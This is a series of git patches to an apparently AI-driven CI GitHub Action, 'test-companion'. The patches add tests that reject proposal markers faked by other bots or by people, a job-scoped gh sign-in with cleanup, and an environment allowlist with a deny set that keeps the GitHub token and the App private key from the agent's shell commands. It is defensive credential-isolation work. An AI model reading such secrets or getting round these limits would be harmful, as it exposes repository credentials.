assert.ok(found.body.includes("case one")) }) @@ -657,22 +661,22 @@ describe("findSupersededProposal — telling a stale plan from silence (FR-44)", * This is only about saying why. */ const proposal = (sha) => ({ - user: { type: "Bot" }, + user: { type: "Bot", login: US }, body: `a plan\n\n`, }) test("a proposal for an earlier commit is found, and its sha reported", () => { - const found = findSupersededProposal([proposal("aaaaaaa1")], "bbbbbbb2") + const found = findSupersededProposal([proposal("aaaaaaa1")], "bbbbbbb2", US) assert.equal(found?.sha, "aaaaaaa1") }) test("a proposal for THIS commit is not superseded — it is live", () => { - assert.equal(findSupersededProposal([proposal("aaaaaaa1")], "aaaaaaa1"), undefined) + assert.equal(findSupersededProposal([proposal("aaaaaaa1")], "aaaaaaa1", US), undefined) }) test("no proposal at all means nobody was talking to us", () => { - assert.equal(findSupersededProposal([], "aaaaaaa1"), undefined) - assert.equal(findSupersededProposal(undefined, "aaaaaaa1"), undefined) + assert.equal(findSupersededProposal([], "aaaaaaa1", US), undefined) + assert.equal(findSupersededProposal(undefined, "aaaaaaa1", US), undefined) }) test("the newest superseded proposal wins, not the first", () => { @@ -682,13 +686,14 @@ describe("findSupersededProposal — telling a stale plan from silence (FR-44)", { ...proposal("bbb22222"), id: 2 }, ], "ccc33333", + US, ) assert.equal(found?.sha, "bbb22222") }) test("a person quoting our marker cannot fake one", () => { const human = { user: { type: "User" }, body: "" } - assert.equal(findSupersededProposal([human], "bbbbbbb2"), undefined) + assert.equal(findSupersededProposal([human], "bbbbbbb2", US), undefined) }) }) @@ -712,25 +717,25 @@ describe("the proposal marker carries the JOB, not just the commit (FR-43)", () test("findProposal hands the workflow back, so the run can be pinned to it", () => { const comments = [ { - user: { type: "Bot" }, + user: { type: "Bot", login: US }, body: `a plan\n\n${proposalMarkerFor("abc1234", "someone", "fix")}`, }, ] - assert.equal(findProposal(comments, "abc1234")?.workflow, "fix") + assert.equal(findProposal(comments, "abc1234", undefined, US)?.workflow, "fix") }) /** Proposals written before the marker carried a job stay approvable. */ test("a marker with no workflow still matches, and reports none", () => { - const old = [{ user: { type: "Bot" }, body: "plan\n\n" }] - const found = findProposal(old, "abc1234") + const old = [{ user: { type: "Bot", login: US }, body: "plan\n\n" }] + const found = findProposal(old, "abc1234", undefined, US) assert.ok(found, "an older marker must still be found") assert.equal(found.workflow, undefined) assert.equal(found.requester, "someone") }) test("the requester still survives alongside the workflow", () => { - const comments = [{ user: { type: "Bot" }, body: proposalMarkerFor("abc1234", "someone", "test-pr") }] - const found = findProposal(comments, "abc1234") + const comments = [{ user: { type: "Bot", login: US }, body: proposalMarkerFor("abc1234", "someone", "test-pr") }] + const found = findProposal(comments, "abc1234", undefined, US) assert.equal(found.requester, "someone") assert.equal(found.workflow, "test-pr") }) @@ -772,17 +777,17 @@ describe("the two marker readers must not drift apart", () => { * fixture while the new marker tests only ever fed proposalMarkerFor() * output to findProposal. Nothing crossed the two. These do. */ - const bot = (body, id = 1) => ({ user: { type: "Bot" }, id, body: `a plan\n\n${body}` }) + const bot = (body, id = 1) => ({ user: { type: "Bot", login: US }, id, body: `a plan\n\n${body}` }) test("a marker written by proposalMarkerFor is found by BOTH readers", () => { const marker = proposalMarkerFor("def5678", "alice", "test-pr") - assert.equal(findProposal([bot(marker)], "def5678")?.workflow, "test-pr") - assert.equal(findSupersededProposal([bot(marker)], "aaa1111")?.sha, "def5678") + assert.equal(findProposal([bot(marker)], "def5678", undefined, US)?.workflow, "test-pr") + assert.equal(findSupersededProposal([bot(marker)], "aaa1111", US)?.sha, "def5678") }) test("and the superseded reader still reports who asked", () => { const marker = proposalMarkerFor("def5678", "alice", "fix") - assert.equal(findSupersededProposal([bot(marker)], "aaa1111")?.requester, "alice") + assert.equal(findSupersededProposal([bot(marker)], "aaa1111", US)?.requester, "alice") }) test("every shape proposalMarkerFor can emit is readable by both", () => { @@ -793,8 +798,8 @@ describe("the two marker readers must not drift apart", () => { ["def5678", undefined, undefined], ]) { const marker = proposalMarkerFor(...args) - assert.ok(findProposal([bot(marker)], "def5678"), `findProposal missed ${marker}`) - assert.ok(findSupersededProposal([bot(marker)], "aaa1111"), `findSupersededProposal missed ${marker}`) + assert.ok(findProposal([bot(marker)], "def5678", undefined, US), `findProposal missed ${marker}`) + assert.ok(findSupersededProposal([bot(marker)], "aaa1111", US), `findSupersededProposal missed ${marker}`) } }) }) @@ -909,16 +914,16 @@ describe("a proposal marker search is built from literals, never from raw input" test("a sha with regex metacharacters matches itself and nothing else", () => { const nasty = "a.c*d+" const body = `` - assert.ok(findProposal([{ user: { type: "Bot" }, body, id: 1 }], nasty), "an escaped sha must still match itself") + assert.ok(findProposal([{ user: { type: "Bot", login: US }, body, id: 1 }], nasty, undefined, US), "an escaped sha must still match itself") // Unescaped, `a.c*d+` would also match "abcccd" — a proposal for another commit. const other = "" - assert.equal(findProposal([{ user: { type: "Bot" }, body: other, id: 2 }], nasty), undefined) + assert.equal(findProposal([{ user: { type: "Bot", login: US }, body: other, id: 2 }], nasty, undefined, US), undefined) }) test("a long run of repeats does not hang the search", () => { // The shape ReDoS reports are about. Linear here, so it returns at once. const started = Date.now() - findProposal([{ user: { type: "Bot" }, body: `` + const them = (body, id = 9) => ({ user: { type: "Bot", login: "github-actions[bot]" }, body, id, created_at: new Date().toISOString() }) + const us = (body, id = 1) => ({ user: { type: "Bot", login: US }, body, id, created_at: new Date().toISOString() }) + + test("another bot's proposal is NOT approvable", () => { + assert.equal( + findProposal([them(marker("abc123"))], "abc123", Date.now(), US), + undefined, + "a foreign proposal reaching a live --yolo run is the whole point of this check", + ) + }) + + test("our own proposal still is", () => { + assert.ok(findProposal([us(marker("abc123"))], "abc123", Date.now(), US)) + }) + + test("another bot's superseded proposal is not ours to explain", () => { + assert.equal(findSupersededProposal([them(marker("old111"))], "new222", US), undefined) + assert.ok(findSupersededProposal([us(marker("old111"))], "new222", US)) + }) + + test("we never edit another bot's comment", () => { + const theirs = them(`something ${COMMENT_MARKER}`, 7) + assert.deepEqual(chooseCommentAction([theirs], US), { action: "create" }) + assert.deepEqual(chooseCommentAction([us(`ours ${COMMENT_MARKER}`, 7)], US), { action: "update", id: 7 }) + }) + + test("a human quoting the marker is still not us", () => { + const human = { user: { type: "User", login: "dev" }, body: marker("abc123"), id: 3, created_at: new Date().toISOString() } + assert.equal(findProposal([human], "abc123", Date.now(), US), undefined) + }) +}) + +/** + * Review of PR #3101, M5. + * + * Approving a proposal left no trace that it had been approved. Three things + * followed from that one gap: + * + * - a second `go` found the same proposal and ran the job again; + * - the proposal's in-progress check was never adopted, so it stayed pending + * beside the real run's check; + * - a day later the sweep said "that proposal went a day without a reply" + * about a proposal that had been approved and had already run. + * + * And `stop` had the same gap from the other side: the comment told people + * "say stop to drop it", and stop cancelled runs without dropping anything. + */ +describe("a proposal that has been used up is not waiting any more", () => { + const US = "test-companion[bot]" + const SHA = "abc1234" + const ours = (body, id) => ({ user: { type: "Bot", login: US }, body, id, created_at: new Date().toISOString() }) + const proposal = () => ours(`plan\n\n${proposalMarkerFor(SHA, "dev", "test-pr")}`, 1) + + test("approving it means a second go finds nothing", () => { + const after = [proposal(), ours(`ran it\n\n${proposalConsumedMarkerFor(SHA)}`, 2)] + assert.ok(findProposal([proposal()], SHA, Date.now(), US), "precondition: it was approvable") + assert.equal(findProposal(after, SHA, Date.now(), US), undefined, "a second go must not rerun the job") + }) + + test("stopping it means a later go finds nothing either", () => { + const after = [proposal(), ours(`stopped\n\n${proposalDroppedMarkerFor(SHA)}`, 2)] + assert.equal(findProposal(after, SHA, Date.now(), US), undefined) + }) + + test("the sweep leaves an approved proposal alone", () => { + const old = { ...proposal(), created_at: new Date(Date.now() - 25 * 3600_000).toISOString() } + assert.equal(proposalNeedsDropping([old], SHA, Date.now(), US), true, "precondition: stale and unanswered") + const approved = [old, ours(`ran it\n\n${proposalConsumedMarkerFor(SHA)}`, 2)] + assert.equal( + proposalNeedsDropping(approved, SHA, Date.now(), US), + false, + "telling someone their approved plan went unanswered is worse than saying nothing", + ) + }) + + test("the marker is per commit, so another commit's plan still stands", () => { + const after = [proposal(), ours(`ran it\n\n${proposalConsumedMarkerFor("deadbee")}`, 2)] + assert.ok(findProposal(after, SHA, Date.now(), US)) + }) +}) diff --git a/test-companion/test/starter.test.mjs b/test-companion/test/starter.test.mjs index a40dc0f..c1f13c9 100644 --- a/test-companion/test/starter.test.mjs +++ b/test-companion/test/starter.test.mjs @@ -252,3 +252,31 @@ describe("control events do not queue behind the run they act on", () => { assert.match(group, /github\.event\.issue\.number/) }) }) + +/** + * Review of PR #3101, M9. Every comment on every pull request booted a + * runner, cloned the repository, installed the CLI and signed in to + * BrowserStack — and then decided it had not been addressed. On a busy + * repository that is most of the runs, and each one also joined the + * concurrency group. + */ +describe("a comment that is not for us does not start a job", () => { + const starter = readFileSync(new URL("../starter-workflow.yml", import.meta.url), "utf8") + const job = starter.slice(starter.indexOf("jobs:"), starter.indexOf("steps:")) + + test("the job is filtered before any runner starts", () => { + assert.match(job, /if: >-/) + assert.match(job, /github\.event_name != 'issue_comment'/) + assert.match(job, /contains\(github\.event\.comment\.body, '@test-companion'\)/) + }) + + test("a bare approval still gets through — proposals ask for exactly that", () => { + assert.match(job, /startsWith\(github\.event\.comment\.body, 'go'\)/) + assert.match(job, /startsWith\(github\.event\.comment\.body, 'approve'\)/) + }) + + test("every other event is untouched, so pushes and schedules still run", () => { + // The filter opens with the non-comment case for exactly this reason. + assert.ok(job.indexOf("!= 'issue_comment'") < job.indexOf("@test-companion")) + }) +}) From cab123612d659311e1c2745ad0961c137f7bd982 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 19:29:03 +0530 Subject: [PATCH 18/49] fix: a second go says the plan was already run, not that the commit moved Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 19 +++++++++++++ test-companion/src/report.mjs | 21 ++++++++++++++ test-companion/test/report.test.mjs | 44 +++++++++++++++++++++++++++++ 3 files changed, 84 insertions(+) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index ab6999f..f155e13 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -38,6 +38,7 @@ import { renderApprovedPlan, proposalDroppedMarkerFor, proposalConsumedMarkerFor, + proposalAlreadyUsed, proposalNeedsDropping, flattenPages, hasApproverEdits, @@ -389,6 +390,8 @@ function finishSkipped(reason, detail) { "not-a-pull-request": "That comment was on an issue, not a pull request.", "not-addressed-to-us": "No @test-companion mention, so nothing was asked of Test Companion.", "proposal-superseded": "The plan being approved was for an earlier commit, so it was not run.", + "proposal-already-run": "That plan was already approved and run on this commit.", + "proposal-dropped": "That plan was stopped, so there was nothing left to approve.", "nothing-failed": "Nothing has failed on this commit, so there was no build to look at.", "comment-edited": "Editing a comment does not start a run.", fork: "A pull request from a fork does not run with credentials until a maintainer asks for it.", @@ -639,6 +642,22 @@ function main() { // "no @test-companion mention" is both wrong and unhelpful — the reason // is sitting in the comment history (FR-44). if (plan.approvalOnly && !waiting) { + // Already approved, or already stopped. Checked BEFORE the + // superseded reading, which otherwise reaches for any older plan + // still in the thread and tells the person their branch moved on + // when it did not — seen on run 41067235005, where the commit was + // the same one the plan had just been approved and run against. + const used = proposalAlreadyUsed(comments, plan.context.sha, botLogin) + if (used) { + replyOnPr( + plan.context.pr, + used === "approved" + ? "That plan has already been approved and run on this commit — there is nothing left to approve. Ask me again and I will put up a fresh one." + : "That plan was stopped, so there is nothing left to approve. Ask me again and I will put up a fresh one.", + ) + finishSkipped(used === "approved" ? "proposal-already-run" : "proposal-dropped") + } + const stale = findSupersededProposal(comments, plan.context.sha, botLogin) if (stale) { replyOnPr( diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index c2e3cb3..e707c87 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -332,6 +332,27 @@ export function renderProposal(body, sha, requester, workflow) { ].join("\n") } +/** + * Has the plan for THIS commit already been used, and how? + * + * Found by the live run that verified the consumed marker. A second `go` was + * correctly not re-run, but the reply said "that plan was for an earlier + * commit" — because with nothing waiting the caller reaches for a superseded + * proposal, and an older one from before the branch moved was still in the + * thread. The commit had not changed; the plan had been approved and run. + * + * Returns "approved" or "dropped" so the reply can say which, or undefined + * when the plan on this commit has not been used at all and the superseded + * reading is the right one after all. + */ +export function proposalAlreadyUsed(comments, sha, us) { + const want = String(sha ?? "").trim() + const mine = (comments ?? []).filter((c) => isOurs(c, us)) + if (mine.some((c) => (c.body ?? "").includes(proposalConsumedMarkerFor(want)))) return "approved" + if (mine.some((c) => (c.body ?? "").includes(proposalDroppedMarkerFor(want)))) return "dropped" + return undefined +} + /** * The proposal waiting on this commit, if there is one. * diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index d36d4b2..e811f05 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -15,6 +15,7 @@ import { renderProposal, proposalDroppedMarkerFor, proposalConsumedMarkerFor, + proposalAlreadyUsed, proposalNeedsDropping, flattenPages, renderExtraChecks, @@ -1057,3 +1058,46 @@ describe("a proposal that has been used up is not waiting any more", () => { assert.ok(findProposal(after, SHA, Date.now(), US)) }) }) + +/** + * Found by the live run that verified M5 (run 41067235005). + * + * The consumed marker worked — a second `go` did not rerun the job. But the + * REPLY was wrong: it said "that plan was for an earlier commit", because + * with nothing waiting the code reaches for a superseded proposal, and an + * older one from before the branch moved was still in the thread. + * + * The commit had not changed. The plan had been approved and run. Telling + * someone their branch moved on when it did not sends them looking for a + * problem that is not there. + */ +describe("a plan that was already used says so, rather than blaming the commit", () => { + const US = "test-companion[bot]" + const SHA = "97e02ad" + const ours = (body, id) => ({ user: { type: "Bot", login: US }, body, id, created_at: new Date().toISOString() }) + + test("an approved plan on THIS commit is reported as used", () => { + const comments = [ours(`plan\n\n${proposalMarkerFor(SHA, "dev", "generate")}`, 1), ours(`ran\n\n${proposalConsumedMarkerFor(SHA)}`, 2)] + assert.equal(proposalAlreadyUsed(comments, SHA, US), "approved") + }) + + test("a dropped plan is distinguished from an approved one", () => { + const comments = [ours(`stopped\n\n${proposalDroppedMarkerFor(SHA)}`, 2)] + assert.equal(proposalAlreadyUsed(comments, SHA, US), "dropped") + }) + + test("an untouched plan is not 'used', so the superseded path still runs", () => { + const comments = [ours(`plan\n\n${proposalMarkerFor(SHA, "dev", "generate")}`, 1)] + assert.equal(proposalAlreadyUsed(comments, SHA, US), undefined) + }) + + test("a marker for ANOTHER commit does not speak for this one", () => { + const comments = [ours(`ran\n\n${proposalConsumedMarkerFor("e55e2df")}`, 2)] + assert.equal(proposalAlreadyUsed(comments, SHA, US), undefined) + }) + + test("another bot cannot declare our plan used", () => { + const theirs = { user: { type: "Bot", login: "github-actions[bot]" }, body: proposalConsumedMarkerFor(SHA), id: 3 } + assert.equal(proposalAlreadyUsed([theirs], SHA, US), undefined) + }) +}) From 491d1ac8da263871b76bc0e9b66eee8c4e243073 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Mon, 2 Nov 2026 18:02:24 +0530 Subject: [PATCH 19/49] fix: sign gh in, so a failed build can actually be read rca, verdict and fix all find the right build and then cannot read it, because gh has no credentials on a runner. The token is already in the job; it just never reached gh. Signing gh in directly needs no brain change and no CLI release. Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/test-companion/action.yml b/test-companion/action.yml index a33075d..c919106 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -168,6 +168,43 @@ runs: # on an interactive sign-in. timeout 120 tc auth login + # Jobs that read a failed build — rca, verdict, fix — fetch its logs + # with `gh`, and on a runner `gh` has no credentials. Three live runs + # on 2 Nov all got as far as finding the right build and then stopped + # with "The GitHub CLI is installed but not signed in… run `gh auth + # login` in your terminal". Nobody can follow that here: there is no + # terminal, no browser, and nobody watching. + # + # The token is already in this job for our own API calls, so sign gh + # in with it. Deliberately NOT exported into the environment the CLI + # inherits: childEnvFor keeps only an allowlist, and the agent's own + # shell commands must not be able to read the token out of env. + # + # This does put the token in gh's config, where `gh auth token` would + # print it. That is the same exposure the IDE already has, where the + # user's own gh is signed in — so this brings CI level with the + # editor rather than below it. The tighter fix (hand the token only + # to the gh process, and scrub it from agent shells) needs a brain + # change and a CLI release; this does not. + - name: Sign gh in, so a failed build can be read + shell: bash + env: + GH_TOKEN: ${{ inputs.github-token }} + run: | + set -euo pipefail + if [ -z "${GH_TOKEN:-}" ]; then + echo "::notice::No GitHub token, so jobs that read a failed build will not be able to fetch its logs." + exit 0 + fi + # Already signed in is not a failure — a self-hosted runner may + # have its own credentials, and overwriting them is not ours to do. + if gh auth status >/dev/null 2>&1; then + echo "gh is already signed in; leaving it alone." + exit 0 + fi + printf '%s' "$GH_TOKEN" | gh auth login --with-token + gh auth status 2>&1 | sed 's/^/ /' + - name: Run id: run shell: bash From c64de4734a148386cf115e3f07fbe97a66a8fe12 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Mon, 2 Nov 2026 18:04:00 +0530 Subject: [PATCH 20/49] fix: keep gh's credentials inside the job that created them A self-hosted runner outlives the job, so signing in to the shared gh config would leave the next job holding this repository's token. Scoped to a job directory and removed afterwards. Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 24 +++++++++++++ test-companion/child-env.mjs | 61 ++++++++++++++++++++++++++++++++ test-companion/src/child-env.mjs | 5 +++ 3 files changed, 90 insertions(+) create mode 100644 test-companion/child-env.mjs diff --git a/test-companion/action.yml b/test-companion/action.yml index c919106..026e68d 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -202,6 +202,16 @@ runs: echo "gh is already signed in; leaving it alone." exit 0 fi + + # A JOB-SCOPED config dir, never the runner's shared one. A + # self-hosted runner outlives the job, so signing in to + # ~/.config/gh would leave the NEXT job — possibly another + # repository's — holding this repository's token. Cleaned up + # below whatever happens. + export GH_CONFIG_DIR="${RUNNER_TEMP}/tc-gh-config" + mkdir -p "$GH_CONFIG_DIR" + chmod 700 "$GH_CONFIG_DIR" + echo "GH_CONFIG_DIR=$GH_CONFIG_DIR" >> "$GITHUB_ENV" printf '%s' "$GH_TOKEN" | gh auth login --with-token gh auth status 2>&1 | sed 's/^/ /' @@ -256,6 +266,20 @@ runs: # Separate from the run step so the report is attached even when the build # effect says this run should redden the build. + # The token must not outlive the job. On a GitHub-hosted runner the + # machine is destroyed anyway; on a self-hosted one it is not, and + # this is the difference between a token that lives for one job and + # one that waits around for the next. + - name: Take gh's credentials back off the runner + if: always() + shell: bash + run: | + set -uo pipefail + [ -n "${GH_CONFIG_DIR:-}" ] || exit 0 + gh auth logout --hostname github.com >/dev/null 2>&1 || true + rm -rf "$GH_CONFIG_DIR" + echo "gh credentials removed from this runner." + - name: Apply the build effect if: always() && steps.run.outputs.should-fail == 'true' shell: bash diff --git a/test-companion/child-env.mjs b/test-companion/child-env.mjs new file mode 100644 index 0000000..e90291d --- /dev/null +++ b/test-companion/child-env.mjs @@ -0,0 +1,61 @@ +/** + * What the agent's subprocess is allowed to see — STM-3663 FR-3. + * + * Pulled out of main.mjs so this boundary is testable: everything here is + * readable by shell commands the model chooses to run, which makes it the one + * place in the Action where a mistake hands away a credential. + */ +/** + * The environment the agent's subprocess gets — an allowlist, not a denylist. + * + * The run executes shell commands the model chooses, so everything here is + * readable by them. A denylist was the first attempt and was not enough: a + * composite action's own inputs can surface as INPUT_* variables, which would + * have reintroduced the very GitHub token the denylist removed. Listing what + * the CLI needs is the only version that stays correct as the surroundings + * change. + * + * Known gap, not solved here: `actions/checkout` leaves a credential in + * .git/config, which this cannot reach. That is the same tension recorded as an + * open item in the tech spec — the pull-request-raising jobs genuinely need a + * push credential inside the run. + */ +export function childEnvFor(source) { + const KEEP_EXACT = new Set([ + "PATH", + "HOME", + "USER", + "LOGNAME", + "SHELL", + "TERM", + "TMPDIR", + "TZ", + "LANG", + "LC_ALL", + "CI", + "RUNNER_OS", + "RUNNER_ARCH", + "RUNNER_TEMP", + // Where this job's gh credentials live. A PATH, not a secret — but + // without it the CLI's gh looks in the runner's shared config, finds + // nothing, and jobs that read a failed build fail with "not signed + // in". The token itself still never enters this environment. + "GH_CONFIG_DIR", + ]) + // The exception to the TC_ prefix below, and the reason this is an explicit + // list rather than a rule. The App's private key is TC_ACTION_APP_* — it + // matches the kept prefix, and it can mint installation tokens for every + // repository the App is installed on. That is a far worse thing to hand a + // shell than the workflow token this allowlist was written to keep out. + const NEVER = new Set(["TC_ACTION_APP_ID", "TC_ACTION_APP_PRIVATE_KEY"]) + // TC_* is the CLI's own configuration; BROWSERSTACK_* is how it signs in; + // the proxy variables matter inside corporate networks. + const KEEP_PREFIX = ["TC_", "BROWSERSTACK_", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"] + const out = {} + for (const [k, v] of Object.entries(source)) { + if (v == null) continue + if (NEVER.has(k)) continue + if (KEEP_EXACT.has(k) || KEEP_PREFIX.some((pre) => k.startsWith(pre))) out[k] = v + } + return out +} diff --git a/test-companion/src/child-env.mjs b/test-companion/src/child-env.mjs index 47d9dbc..e90291d 100644 --- a/test-companion/src/child-env.mjs +++ b/test-companion/src/child-env.mjs @@ -36,6 +36,11 @@ export function childEnvFor(source) { "RUNNER_OS", "RUNNER_ARCH", "RUNNER_TEMP", + // Where this job's gh credentials live. A PATH, not a secret — but + // without it the CLI's gh looks in the runner's shared config, finds + // nothing, and jobs that read a failed build fail with "not signed + // in". The token itself still never enters this environment. + "GH_CONFIG_DIR", ]) // The exception to the TC_ prefix below, and the reason this is an explicit // list rather than a rule. The App's private key is TC_ACTION_APP_* — it From f5ef874055f16dc3ef99af76ede7f9e1d3813f76 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Mon, 2 Nov 2026 18:05:11 +0530 Subject: [PATCH 21/49] fix: the already-signed-in guard was reading its own token gh auth status passed on the env var in that step, so the login was skipped and nothing was stored for the CLI to use. Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/test-companion/action.yml b/test-companion/action.yml index 026e68d..4d679b2 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -198,8 +198,17 @@ runs: fi # Already signed in is not a failure — a self-hosted runner may # have its own credentials, and overwriting them is not ours to do. - if gh auth status >/dev/null 2>&1; then - echo "gh is already signed in; leaving it alone." + # + # Checked with GH_TOKEN REMOVED, because this step has the token + # in its own environment and `gh auth status` reports that as + # being signed in. The first version of this check passed for + # that reason, skipped the login, and left the CLI — which does + # NOT get the token — still unauthenticated. The run then failed + # exactly as before (live run 41445565651). What matters here is + # whether a credential is STORED, not whether this shell happens + # to hold one. + if env -u GH_TOKEN -u GITHUB_TOKEN gh auth status >/dev/null 2>&1; then + echo "gh already has stored credentials on this runner; leaving them alone." exit 0 fi From 75d94b8f57d4c93507c1de37a6bf3cc4950cda9f Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Mon, 2 Nov 2026 18:08:03 +0530 Subject: [PATCH 22/49] fix: the gh sign-in could not store, and took the run down with it gh refuses to store while GH_TOKEN is set, and the step ran under set -e so its failure skipped the whole run. Best effort now. Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/test-companion/action.yml b/test-companion/action.yml index 4d679b2..e782625 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -191,7 +191,12 @@ runs: env: GH_TOKEN: ${{ inputs.github-token }} run: | - set -euo pipefail + # NOT `set -e`. Most jobs never read a build, and a problem + # signing gh in must not take down a generate or test-pr run. + # The first version did exactly that: the login failed, the step + # exited 1, and the whole Run step was skipped (live run + # 41445939531). Best effort, always exit 0. + set -uo pipefail if [ -z "${GH_TOKEN:-}" ]; then echo "::notice::No GitHub token, so jobs that read a failed build will not be able to fetch its logs." exit 0 @@ -221,8 +226,18 @@ runs: mkdir -p "$GH_CONFIG_DIR" chmod 700 "$GH_CONFIG_DIR" echo "GH_CONFIG_DIR=$GH_CONFIG_DIR" >> "$GITHUB_ENV" - printf '%s' "$GH_TOKEN" | gh auth login --with-token - gh auth status 2>&1 | sed 's/^/ /' + # GH_TOKEN REMOVED for the login itself. gh refuses to store a + # credential while that variable is set — "The value of the + # GH_TOKEN environment variable is being used for + # authentication. To have GitHub CLI store credentials instead, + # first clear the value from the environment." The token still + # reaches gh on stdin; it just must not also be in the env. + if printf '%s' "$GH_TOKEN" | env -u GH_TOKEN -u GITHUB_TOKEN gh auth login --with-token; then + echo "gh signed in for this job." + else + echo "::notice::Could not sign gh in. Jobs that read a failed build will not work in this run; everything else is unaffected." + fi + exit 0 - name: Run id: run From ab69d3f7392ce3dd6d714d66449eee412dfb475f Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Mon, 2 Nov 2026 18:59:44 +0530 Subject: [PATCH 23/49] fix: post every job's answer in the comment, not just two MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Only `rca` and `verdict` ever showed what the agent concluded. Every other job posted a table saying "Succeeded" and nothing else — worst for `fix` in preview, where the prose IS the product: it found the cause, gave the exact one-line change, and the person who asked saw none of it without opening the job log. The text was never missing. The CLI emits an answer event for every verb; only its result FILE is narrowed to two. The Action spawned the CLI with stdout inherited, so the stream carrying the answer went to the log and nothing read it. This reads it on the way past, which needs no CLI change. The scanner copes with what a real pipe does: lines split across chunks, multi-byte characters split mid-character, CRLF, non-JSON output from the agent's own commands, and a runaway line with no newline, which is capped so a command printing megabytes cannot take the runner down. stdout is echoed onward before being parsed, so a long run still streams live. Comments are also capped at GitHub's 65,536 characters, which nothing enforced before. Over it the API rejects the call and the run reports nothing at all. The answer is cut first, pointing at the run page; the marker always survives, or every run posts a new comment instead of editing its own. Co-Authored-By: Claude Opus 5 --- test-companion/src/answer.mjs | 131 +++++++++++++++++++ test-companion/src/main.mjs | 27 ++-- test-companion/src/report.mjs | 54 +++++++- test-companion/test/answer.test.mjs | 186 +++++++++++++++++++++++++++ test-companion/test/imports.test.mjs | 16 ++- test-companion/test/report.test.mjs | 126 ++++++++++++++++-- 6 files changed, 513 insertions(+), 27 deletions(-) create mode 100644 test-companion/src/answer.mjs create mode 100644 test-companion/test/answer.test.mjs diff --git a/test-companion/src/answer.mjs b/test-companion/src/answer.mjs new file mode 100644 index 0000000..83068df --- /dev/null +++ b/test-companion/src/answer.mjs @@ -0,0 +1,131 @@ +/** + * Catch the agent's own closing words out of the run's output — STM-5434. + * + * Every job announces what it concluded. Under `--json` the CLI prints one + * event per line and `{"event":"answer","text":...}` carries the prose, for + * EVERY verb — run_render.go emits it unconditionally. What varies is only + * whether the CLI also saves it to the result file, which it does for `rca` + * and `verdict` alone (commands/narrative.go). + * + * So the Action used to show an answer for those two and a bare "Succeeded" + * table for the rest. Worst for `fix` in preview, where prose is the whole + * product: it found the cause, gave the one-line change, and the person who + * asked saw none of it without opening the job log. + * + * The text was already arriving — the Action spawned the CLI with the runner's + * stdout inherited, so it went straight to the log and was never read. This + * reads it on the way past, which needs no change to the CLI and so no release. + */ +import { spawn } from "node:child_process" +import { StringDecoder } from "node:string_decoder" + +/** + * How much of an unterminated line to hold before giving up on it. + * + * The agent runs with --yolo and picks its own shell commands, so one of them + * printing megabytes with no newline is a thing that happens. Buffering that + * to the end would take the runner down over output we are only scanning. + */ +export const MAX_PARTIAL_LINE = 1 << 20 + +/** + * A scanner for the CLI's event stream. + * + * Feed it `push(chunk)` as the bytes arrive and `end()` when the process + * closes; `answer()` is the last thing the agent said. + */ +export function createAnswerCapture() { + // Chunk boundaries fall mid-character: agent prose is full of em dashes and + // arrows, and decoding each chunk on its own splits one in half, breaks the + // JSON and silently drops the answer — on exactly the runs with most to say. + const decoder = new StringDecoder("utf8") + let pending = "" + // True while discarding the tail of a line that overran MAX_PARTIAL_LINE, + // so its remainder is not mistaken for the start of a fresh line. + let skipping = false + let answer + + /** Keep this line's text if it is an answer event. Last one wins. */ + const read = (line) => { + const t = line.trim() + // Cheap gate first: most of this stream is not an object, and parsing + // every log line the agent's own commands print would be wasteful. + if (!t.startsWith("{") || !t.endsWith("}")) return + let event + try { + event = JSON.parse(t) + } catch { + // Not an event. The stream carries whatever the run printed. + return + } + if (!event || typeof event !== "object" || event.event !== "answer") return + const text = typeof event.text === "string" ? event.text.trim() : "" + // An empty answer must not erase a real one that came before it. + if (text) answer = text + } + + return { + push(chunk) { + pending += typeof chunk === "string" ? chunk : decoder.write(chunk) + let nl + while ((nl = pending.indexOf("\n")) !== -1) { + const line = pending.slice(0, nl) + pending = pending.slice(nl + 1) + if (skipping) { + skipping = false + continue + } + read(line) + } + if (pending.length > MAX_PARTIAL_LINE) { + pending = "" + skipping = true + } + }, + /** The last line often has no newline, because the process ended. */ + end() { + pending += decoder.end() + if (!skipping && pending) read(pending) + pending = "" + }, + answer: () => answer, + /** Bytes held for an unfinished line — for the test that pins the cap. */ + pending: () => pending.length, + } +} + +/** + * Run a command, showing its output live AND reading it on the way past. + * + * The Action used to spawn the CLI with stdout inherited, which is why no job + * but `rca` and `verdict` ever showed an answer: the stream carrying it went + * straight to the log and nothing read it. + * + * stdout is piped so it can be scanned and echoed on; stdin and stderr stay + * inherited, so a prompt or a crash reaches the log exactly as before. The + * echo happens first — someone watching a ten-minute run is reading that log, + * and it must not wait on our parsing. + * + * Never rejects. A run whose output we could not read has lost its answer, + * which is where we started; it is not a reason to lose the report as well. + */ +export function runCapturingAnswer(command, args, childEnv) { + return new Promise((resolve) => { + const capture = 